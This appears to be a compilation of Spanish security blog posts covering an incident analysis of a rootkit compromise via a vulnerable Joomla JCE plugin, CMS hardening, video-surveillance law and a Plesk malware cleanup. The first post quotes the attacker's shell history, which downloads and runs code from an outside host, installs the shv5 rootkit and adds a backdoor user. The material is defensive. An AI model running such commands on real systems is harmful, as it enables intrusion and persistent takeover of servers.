Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.

En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.

2013 Nov 09 21:59:19 Rule Id: 510 level: 7
Location: servidor->rootcheck
Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'.
Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail -
ossec,rootcheck,
2013 Nov 09 21:59:19 servidor->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.

Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:

473 id
474 wget kropak.com/es.txt
475 perl es.txt
476 cd /tmp
477 rm -rf a
478 ls
479 wget kropak.com/sshroot.tar.gz
480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz
481 cd sshroot
482 chmod +x *
483 ./configure --prefix=/usr/local/sshd/
484 cd ..
485 rm -rf sshroot
486 wget kropak.com/shv5.tar.gz
487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz
488 cd shv5
489 ./setup 201 201
490 cd /tmp
491 service iptables stop
492 /sbin/ifconfig | grep inet | wc -l
493 cat /etc/ssh/sshd_config
494 adduser tagar
495 passwd Tagar
496 passwd tagar
497 chmod 777 /etc/passwd
498 id tagar
499 passwd
500 id tagar

Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).

Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.

[01:02:05] /usr/bin/pstree [ Warning ]
[01:02:05] Warning: Package manager verification has failed:
[01:02:05] File: /usr/bin/pstree
[01:02:05] The file hash value has changed
[01:02:05] The file owner has changed
[01:02:05] The file group has changed
[01:02:05] The file size has changed 

En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.

[01:04:00] Checking for TCP port 6667 [ Warning ]
httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot
Use the 'lsof -i' or 'netstat -an' command to check this.

Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.

En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.

Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:

IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST
/index.php%3foption=com_content%26view=article%26id
=280%3agf-febrero-
2013%26catid=20%3avitoria%26Itemid=73/index.php?
option=com_jce&task=plugin&plugin=imgman
ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-"
"BOT/0.1 (BOT for JCE)"

Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.

Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:

[root@servidor ~]# chattr -sia /bin/ls
[root@servidor ~]# chattr -sia /bin/ps
[root@servidor ~]# chattr -sia /bin/netstat
[root@servidor ~]# chattr -sia /usr/bin/dir
[root@servidor ~]# hattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /sbin/ifconfig
[root@servidor ~]# chattr -sia /usr/sbin/lsof
[root@servidor ~]# chattr -sia /usr/bin/md5sum
[root@servidor ~]# chattr -sia /usr/bin/pstree
[root@servidor ~]# chattr -sia /usr/bin/top
[root@servidor ~]# chattr -sia /lib/libsh.so
[root@servidor ~]# chattr -sia /usr/lib/libsh
[root@servidor ~]# chattr -sia /usr/lib/libsh/*
[root@servidor ~]# chattr -sia /etc/sh.conf
[root@servidor ~]# chattr -sia /sbin/ttymon
[root@servidor ~]# chattr -sia /sbin/ttyload

También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.

Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils 
     net-tools psmisc lsof procps findutils >>/dev/null

Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.

A modo de resumen el procedimiento del ataque ha sido el siguiente:

• A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
• Suben ficheros y usan la librería libwww-perl para estas conexiones.
• Instalar un software IRCd (Unreal).
• Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
• Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.

Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.

Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.

Hace unos meses hablábamos [1] [2] de uno de los gestores de contenido o CMS (Content Management System) más utilizado y de la necesidad de tomar medidas para securizarlo. Como ya comentamos en ese artículo, los gestores de contenidos al ser utilizados por multitud de personas están en el punto de mira de los atacantes, y éstos se aprovechan de las vulnerabilidades de la herramienta y lanzan ataques contra las páginas que utilizan estos CMS. Por tanto es fundamental tomar medidas de prevención para no ser víctima de uno de estos ataques.

En aquel momento hablamos del CMS WordPress. En este post vamos a hablar de otro de los más populares: Joomla!.

Joomla permite desarrollar sitios web dinámicos e interactivos. Permite gestionar contenido en un sitio web de manera sencilla a través de un panel de Administración bastante completo, aunque en ocasiones poco intuitivo. Es un software de código abierto, desarrollado en PHP y liberado bajo licencia GPL. Uno de los mayores potenciales que tiene este CMS es que su funcionalidad es muy grande debido en parte a la multitud de extensiones que tiene disponible. A su vez estas extensiones, generalmente desarrolladas por terceros, pueden volverse en contra del administrador del sistema ya que pueden ser puertas traseras que permitan el acceso no deseado al servidor o a la página en cuestión.

El Instituto de Tecnologías de la Comunicación (INTECO) publicó hace pocos meses una guía sobre securización de Joomla!. En este post queremos destacar algunas de las medidas de esa guía, además de añadir alguna otra que no se refleja en la misma. Las medidas se centran en una correcta configuración, asignación de permisos y cambios en la estructura del CMS. Estas medidas son:

• En primer lugar es importante instalar la herramienta en un proveedor de confianza. Si es un servidor compartido debemos saber las medidas de seguridad que aplica el proveedor respecto a nuestro CMS, esto es, permisos en directorios, acceso al dominio, revisión de logs,…
• Mover el fichero configuration.php del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php fuera del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php en 777. Recomendable 644. Acostumbramos a poner los permisos 777 para instalar extensiones al Joomla! y no tener problemas pero después no se vuelve a cambiar y se dejan permisos que no se debería, lo que compromete el servidor. Según aparece en la documentación de Joomla! los permisos recomendados son 644 para los archivos y 755 para los directorios.
• No utilizar el nombre de usuario ‘admin’ para entrar al back-end. Si no se cambiase, ya se conocerían la mitad de las credenciales de acceso, y si la contraseña no fuese robusta con un ataque de fuerza bruta se podrían romper la contraseña de una forma fácil y obtener acceso al panel de administración.
• Cambiar el nombre de la carpeta Administrator. Esto requiere modificaciones en el núcleo del sistema cambiando las referencias hacia ese directorio tanto en BD como en los ficheros de las plantillas que apuntan a ese directorio. En cualquier caso este cambio es recomendable para que un usuario ilícito no pueda acceder de manera fácil al login del back-end y probar por fuerza bruta combinaciones de usuario-contraseña.
• Proteger el directorio administrator con contraseña (utilizando el .htaccess y el .htpasswd). Esta es una doble seguridad ya que por delante de las credenciales del back-end estaría la protección del directorio.
• Proteger el acceso a los ficheros .htaccess insertando el código siguiente en el mismo .htaccess, y pon los permisos a 644.

< Files .htaccess>
order allow,deny
deny from all
</Files>

• Cambiar el prefijo de la BBDD durante la instalación (a partir de la versión 2.x ya lo genera aleatoriamente). Por defecto el prefijo de las versiones anteriores a la 2.5 era jos_ lo que provocaba que los atacantes conociesen los nombres de las tablas de la base de datos pues el resto del nombre es igual en todas las instalaciones.
• Mantener el sitio actualizado. Las versiones con soporte actualmente son la 2.5, 3.0, 3.1, 3.2. La versión 2.5 es una versión LTS (Long Team Support) por lo que actualmente es la que más tiempo tendrá soporte. A mediados del de este año está previsto el lanzamiento de la versión 3.5 que será LTS y tendrá soporte hasta 2016.
• Comprobar las extensiones que se instalan y buscar referencias para conocer si tienen vulnerabilidades conocidas o si son extensiones reconocidas por Joomla! [1] [2]. Las extensiones aumentan la funcionalidad del CMS pero pueden llegar a ser una puerta de entrada al portal si son vulnerables. Además, éstas deben ser actualizadas y sólo ser utilizadas si son estables y tienen soporte.

En la página de documentación oficial de Joomla! podemos encontrar más información: checklist de seguridad en la instalación de Joomla!, las preguntas frecuentes sobre la seguridad y rendimiento, y las 10 “cosas más estúpidas” que puede hacer un administrador de Joomla!. Con todos estos recursos podremos proteger nuestro portal y evitar de esta forma así ataques a la página y al servidor.

Tras la publicación y los comentarios surgidos a raíz del post donde comentábamos una serie de medidas para aumentar la seguridad del CMS WordPress (Securizando WordPress), me di cuenta que la inquietud y el interés en este tema es muy elevado. Por ese motivo queremos recoger en este artículo las recomendaciones que nuestros lectores han realizado a través de los comentarios a lo largo de estas semanas, y además añadir alguna otra que consideramos de interés y que no queremos dejar de compartir. Agradecemos desde aquí la colaboración de los lectores que con vuestros comentarios aportáis un valor añadido a este blog.

[Read more…]

Son muchos casos en los que la videovigilancia puede vulnerar la privacidad de las personas. Estos casos pueden generar una cierta controversia. Uno es el caso que me sucedió hace unos pocos días.

Al entrar en un taxi en Madrid me llamó la atención encontrarme con una cámara delante de mis narices. Fue algo que nunca me había ocurrido y no me esperaba. Era una cámara que me enfocaba directamente y la verdad bastante intimidatoria. No me había fijado al entrar pero en las ventanillas del taxi se indicaba mediante unas pegatinas que el taxi estaba videovigilado. A raíz de este hecho me estuve preguntando sobre la regulación de este tipo de cámaras y los requisitos legales que deben cumplir. ¿Qué medidas debe tomar el taxista en este caso? ¿Qué derechos tiene el cliente?
Otra situación similar puede ocurrir con los gimnasios donde las cámaras controlan la seguridad del mismo en las salas generales donde la gente se encuentra realizando ejercicios físicos. ¿Está permitido realizar grabaciones en los gimnasios? ¿Quién lo regula?

En alguna ocasión en este blog Antonio Villalón ha comentado este tipo de vigilancia a través de cámaras [1] [2] [3] [4] pero no desde el ámbito de la protección de datos, por lo que en este artículo queremos acercarnos a esa visión.

Esta es la introducción que realiza la Agencia Española de Protección de Datos (en adelante AEPD) en su Guía de Videovigilancia.

Son varias las leyes o instrucciones las que regulan este tipo de actuación. En primer lugar debemos tener en cuenta la Ley de Seguridad Privada 23/1992, de 30 de julio. Esta ley regula la prestación de servicios de vigilancia y seguridad. Las únicas que podían prestar los servicios de videovigilancia eran las empresas de seguridad que se regulan por esta ley. La llamada ley Ómnibus, Ley 25/2009, de 22 de diciembre, en su artículo 14 modificaba la LSP añadiendo la disposición adicional sexta:

Esta disposición permite a cualquier persona o empresa instalar, vender o mantener un sistema de videovigilancia siempre que la prestadora del servicio no se dedique a otros fines definidos en el artículo 5 de la LSP y no vayan conectadas las cámaras con centrales de alarma. Por tanto en este sentido podemos considerar que hay bastante libertad para el uso de estos elementos de seguridad.
¿Entonces quien protege al ciudadano grabado? ¿Nadie regula la captación de imágenes?

Ahí es donde entra la LOPD. Como he comentado antes, las imágenes que pueden identificar a una persona se consideran un dato de carácter personal por lo que debe ser tratado como tal. A este respecto entra en juego tanto la Ley 15/1999, de 13 de diciembre, de protección de datos de carácter personal, como el Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarrollo de la citada ley. Adicionalmente la AEPD aprobó la Instrucción 1/2006, de 8 de noviembre, sobre el tratamiento de datos personales con fines de vigilancia a través de sistemas de cámaras o videocámaras.

Esta instrucción viene a detallar los casos en los que está permitido utilizar cámaras para la vigilancia. A este respecto se especifica a lo largo de toda la instrucción el deber de respetar el principio de proporcionalidad, “lo que supone siempre que resulte posible, adoptar otros medios menos intrusivos a la intimidad de las personas.” Este deber de proporcionalidad no dejar de ser un tanto indeterminado por lo que a continuación la propia instrucción intenta clarificar mencionando una Sentencia del Tribunal Constitucional 207/1996: “una exigencia común y constante para la constitucionalidad de cualquier medida restrictiva de derechos fundamentales, entre ellas las que supongan una injerencia en los derechos a la integridad física y a la intimidad”.

Personalmente considero que el principio de proporcionalidad sigue quedando bastante indeterminado y ambiguo.

Dejando los casos a un lado, y asumiendo que cualquier persona u organización puede instalar videovigilancia veamos qué medidas debe cumplir. En primer lugar, y como ya he mencionado, debería registrar el fichero ante la AEPD como cualquier otro fichero con datos de carácter personal.

En segundo lugar el responsable de los sistemas de videovigilancia deberá tomar las medidas de seguridad exigidas por la LOPD, al menos las de nivel básico. En ninguna de las citadas leyes o normativas especifica el nivel de los datos que son las imágenes por lo que también queda bastante en el aire las medidas que debe contener. La guía de videovigilancia de la AEPD deja en manos del responsable del fichero la evaluación del nivel de seguridad teniendo en cuenta el artículo 81 del RDLOPD en función del contenido y finalidad del fichero. Una secuencia de imágenes o un vídeo puede ofrecer una definición de las características o de la personalidad de un ciudadano. ¿Deberían ser declarados todos los ficheros como nivel medio? ¿Y si los grabados son menores? ¿Demasiada ambigüedad para un tema tan sensible?

En tercer lugar tienen el deber de información que tienen todos aquellos que utilizan videocámaras para la vigilancia. Esta identificación se regula en el Anexo de la instrucción 1/2006.

Por tanto a pesar de la controversia que puedan crear, las cámaras en los taxis es una práctica utilizada cada vez más, pudiendo realizarse siempre y cuando se cumpla con la “proporcionalidad” en la recogida de los datos y cumpliendo con las medidas exigidas por la LOPD. En cuanto a los gimnasios, la ley también deja lugar a interpretaciones, aunque la guía de videovigilancia de la AEPD da un poco de luz, y cito: “En espacios como gimnasios, balnearios o “Spa” etc., pueden captarse imágenes susceptibles de afectar a los derechos a la intimidad, a la propia imagen y a la protección de datos. Deberán tenerse en cuenta estas circunstancias respetando tales derechos no captándose imágenes de personas identificadas o identificables en los lugares en los que se realiza materialmente la práctica deportiva o se reciban este tipo de servicios.”

Más allá de todo esto considero que la normativa en materia de videovigilancia a día de hoy no está regulada como debería y da lugar a muchas interpretaciones.

¿Qué piensan los lectores de SecurityArtWork? Podéis compartir en los comentarios cualquier anécdota u opinión respecto a la seguridad.

Como bien sabéis, los sistemas de gestión de contenidos (CMS) son cada vez más utilizados para la elaboración de páginas y blogs tanto personales como corporativos. Estos sistemas permiten mantener una página actualizada sin tener conocimientos avanzados de programación web, y pudiéndose instalar en un servidor de manera fácil y rápida. Uno de los sistemas más extendidos es WordPress. WordPress es un gestor de contenido libre, diseñado especialmente para gestionar blogs, y que contiene multitud de plantillas personalizables. Además destaca por su facilidad de uso, que permite que cualquier persona sea capaz de mantener actualizada la página en pocos pasos.

Hay dos opciones para utilizar WordPress. La primera de ellas es un servicio a través de la página wordpress.com y donde fácilmente cualquier persona puede crear su propio blog. La otra opción es instalarse la aplicación en un servidor propio o en un servicio de hosting. Son muchas las ventajas que podemos obtener al instalar un gestor de contenidos como WordPress en nuestro servidor, pero también son muchos los riesgos a los que nos exponemos. No han sido pocas las vulnerabilidades que se han ido encontrando en las diferentes versiones de WordPress, y muchas las personas que intentan sacar provecho de esas vulnerabilidades ya sea para insertar código malicioso, para obtener información o simplemente como un reto para ver de que son capaces de hacer.

Por tanto es conveniente tomar una serie de medidas para prevenir posibles ataques. Hace unos meses, desde CSIRT-cv INTECO ofrecían una guía bastante completa con una serie de recomendaciones y que os animamos a leer. Pero en este post queremos añadir alguna medida y resaltar alguna de las que en esa guía ya nos recomendaban nuestros compañeros del CSIRT, teniendo no obstante en cuenta que no son las únicas medidas a aplicar.

1. La primera es la más obvia y en la que siempre se hace especial hincapié, pero a la vez una de las más importantes, es la de mantener actualizada la versión de WordPress ya que el equipo de desarrollo del sistema va solucionando las vulnerabilidades que se van encontrando y además mejorando las funcionalidades del gestor. El principal problema en este caso es el tiempo y problemas que generan las actualizaciones del wordpress, cuyo proceso, a pesar de haber mejorado mucho a lo largo de los últimos años, no puede realizarse mediante el típico “siguiente-siguiente” o también conocido como guía-burros. A eso hay que añadir los aspectos de compatibilidad con plugins, por lo que aunque es un proceso totalmente recomendable y necesario, puede no ser trivial.

2. Cambiar el directorio web por defecto donde nuestro sistema carga los ficheros. Generalmente el directorio es httpdocs pero en algunos sistemas se permite cambiarlo. Para esto habría que cambiar los ficheros manualmente de directorio y después cambiar en el servidor la ruta del directorio principal de ese dominio en cuestión.

3. Otra medida es la de cambiar los puertos por defecto del servidor, tanto el FTP (por defecto 21) como el de SSH (por defecto 22). Esto no afecta solo a WordPress sino que es una medida que influye a todo el servidor pero que previene ataques automatizados.

4. Por otro lado también es posible extraer el directorio wp-content del directorio de la aplicación WordPress. En wp-content es donde se encuentran los temas, plugins y ficheros propios del blog. En http://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content_folder se pueden encontrar los cambios que hay que hacer si queremos aplicar esta u otras medidas. Pero básicamente consiste en insertar estas líneas en el fichero de configuración wp-config.php:

define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content' );
define( 'WP_CONTENT_URL', 'http://example/blog/wp-content');
define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content/plugins' );
define( 'WP_PLUGIN_URL', 'http://example/blog/wp-content/plugins');
define( 'PLUGINDIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content/plugins' );

5. Otra de las medidas a implantar es cambiar el prefijo con el que se crearán las tablas de la base de datos de WordPress. Por defecto es WP_, por lo que si no se cambia se corre el riesgo de sufrir ataques de inyección de código.

Además de estas recomendaciones, os remitimos a la guía que como hemos comentado al principio del artículo publicó el CSIRT-cv y donde se completan algunas de estas medidas y se comentan muchas otras que pueden hacer que nuestro WordPress sea menos vulnerable y evitarnos así más de un disgusto.

Si tenéis otras medidas o consejos que pueden ayudar a proteger un sistema WordPress, os invitamos a que las escribáis en los comentarios.

Hace unas semanas saltaba en la prensa una noticia que no me pudo pasar desapercibida [1] [2] [3] [4]. La noticia decía que unos 20 diputados españoles habían perdido el iPad que a principios de la legislatura, hace menos de un año, les habían dado para el desempeño de sus funciones. Dejando a un lado la controversia suscitada acerca de la necesidad o no de esta herramienta para todos los diputados y la responsabilidad que tienen estos diputados respecto a los dispositivos corporativos, vayamos a lo que nos preocupa en este blog: la seguridad.

Como es evidente, en estos dispositivos se pueden guardar documentos, correos electrónicos, teléfonos, en general información que podemos considerar sensible para una organización y en este caso para el conjunto del Estado. Me gustaría pensar que para usar estos dispositivos habrán tomado todas las medidas de seguridad necesarias, como puede ser cifrado, bloqueo e incluso borrado de la información ante varios intentos de acceso fallidos, acceso mediante contraseña, etc., además de tomar las medidas adecuadas para que ante una posible pérdida estos puedan ser bloqueados remotamente e incluso ser borrado su contenido.

Pues al parecer, esto va a quedarse en un mero deseo pues ya ha salido en algunos medios información indicando que estos dispositivos ni siquiera tenían activada la herramienta “Find my iPad” que se puede instalar en los dispositivos con iOS y que en caso de pérdida permite localizarlo, enviar un mensaje al dispositivo, incluso borrar el contenido del mismo. Después de conocer esto yo pregunto: ¿qué información contenían esos dispositivos? ¿Podían contener información confidencial? ¿Podían contener información con datos de carácter personal?

Como toda organización el Congreso de los Diputados debería tener y aplicar, cosas que desconozco, una política de uso de los dispositivos que ponen a disposición de los parlamentarios para el desempeño de sus funciones y estos firmar una aceptación de la misma. Además el servicio, área o departamento competente para los asuntos tecnológicos debería tomar las medidas oportunas para evitar que ante una pérdida del dispositivo cualquier persona pudiera acceder a la información confidencial y sensible, aun cuando este tipo de medidas chocasen con las reticencias de los diputados. Me parece que nunca vamos a saber la información que contenían esos dispositivos, ni siquiera las medidas de seguridad aplicadas, pero quiero seguir pensando que la información no era importante o confidencial y que se habían tenido en cuenta medidas como las que desde S2 Grupo hacíamos algún tiempo para la seguridad del iPad.

Hace unos meses leíamos en algunas páginas de noticias sobre seguridad digital artículos sobre una grave vulnerabilidad en versiones de Plesk anteriores a la v10.4. Desde entonces muchas han sido las reacciones que se han ido produciendo y son muchos los servidores que se han visto afectados por este bug. Os voy a explicar los pasos que seguí para eliminar la infección que había recibido un servidor de una asociación con la que colaboro. El servidor en concreto, era un CentOS con la versión de Plesk 10.4 y CentOS.

La evidencia que tuvimos para saber que habíamos sufrido ese ataque fue que algunas de las páginas alojadas en el servidor aparecían marcadas por el navegador y por Google como sospechosas de contener malware. A partir de ese momento empezamos a buscar documentación, y lo primero que hicimos fue actualizar Plesk a la versión 11 del software.

Después de instalar y configurar de nuevo Plesk y de revisar también la configuración de Apache y PHP, teníamos que encontrar el código o los ficheros que el atacante presumiblemente había insertado en el servidor y la forma a través de la cual habría entrado al mismo. Para eso nos descargamos todos los logs de plesk y de apache para encontrar evidencias del ataque.

Errores y logs de accesos a Plesk

1	/usr/local/psa/admin/logs/httpsd_access_log
2	/var/log/sw-cp-server/error_log

Logs del servidor apache en Plesk

1	/var/log/httpd/access_log
2	/var/log/httpd/error_log	

En estos logs empezamos a ver evidencias de peticiones sospechosas al plesk del servidor, así como peticiones del servidor a páginas con dominio .ru. Algunas de estas peticiones tenían la siguiente estructura:

(IP)	 - - [18/Jul/2012:07:42:34 +0200] "GET / HTTP/1.1" 200 565 
"http://(DOMINIO).ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"

Petición iniciada por nuestro servidor

Y en el log de Plesk

(IP) DOMINIOPROPIO:8443 - [13/Jul/2012:20:30:54 +0200] "GET / HTTP/1.1" 
200 976 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) 
Chrome/15.0.1084.56 Safari/546.5"

Petición recibida

También se podían ver trazas de direcciones IP de Dallas, Países Bajos, Turquía, etc. La más repetida era una IP turca desde la cual se realizaban accesos al puerto de plesk del servidor.

(IP TURCA) SERVIDOR:8443 - [05/Jul/2012:15:09:22 +0200] "POST /login_up.php3 
HTTP/1.1" 200 6642 "-" "-"

Encontramos en los dominios infectados un script que generaba aleatoriamente una URL con dominio .ru. Esa URL se registraba y es la que contenía el malware. Por tanto al acceder a las páginas alojadas en el servidor, este realizaba una petición a la página .ru infectada. Después de la actualización de Plesk y de cambiar las claves de acceso al servidor se veían trazas de escaneo de puertos y de intentos de accesos fallidos al servidor.

(IP)	 (IPSERVIDOR):8443 - [14/Jul/2012:02:10:10 +0200] "GET / HTTP/1.1" 200 
976 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)"

Ya solo quedaba limpiar los archivos infectados. Para eso seguimos los pasos que la propia página de plesk indicaba:

cd /var/www/vhosts
grep -l -r “km0ae9gr6m” * > infectados.txt

Todos los ficheros infectados salieron en infectados.txt, y para eliminarlos tuvimos que ejecutar para cada uno de esos ficheros la orden:

sed -i ‘s/\/\*qhk6.*g1c\*\///g’ filename

De esta manera el antivirus ya no saltaba y Google ya no marcaba las páginas como peligrosas de contener código malicioso. Además revisando el servidor veíamos que no habían accesos no deseados al servidor. Para estar más tranquilos, también lanzamos Unhide para asegurarnos que no existía ningún proceso oculto ni ningún rootkit que permitiera el posterior acceso de los atacantes.

Como medida de seguridad, además de proceder al cambio de claves del servidor y de todos los dominios y subdominios (FTP, bases de datos, etc.), cambiamos los puertos por defecto de acceso a plesk, de ftp y ssh, para dificultar los ataques automáticos a estos puertos.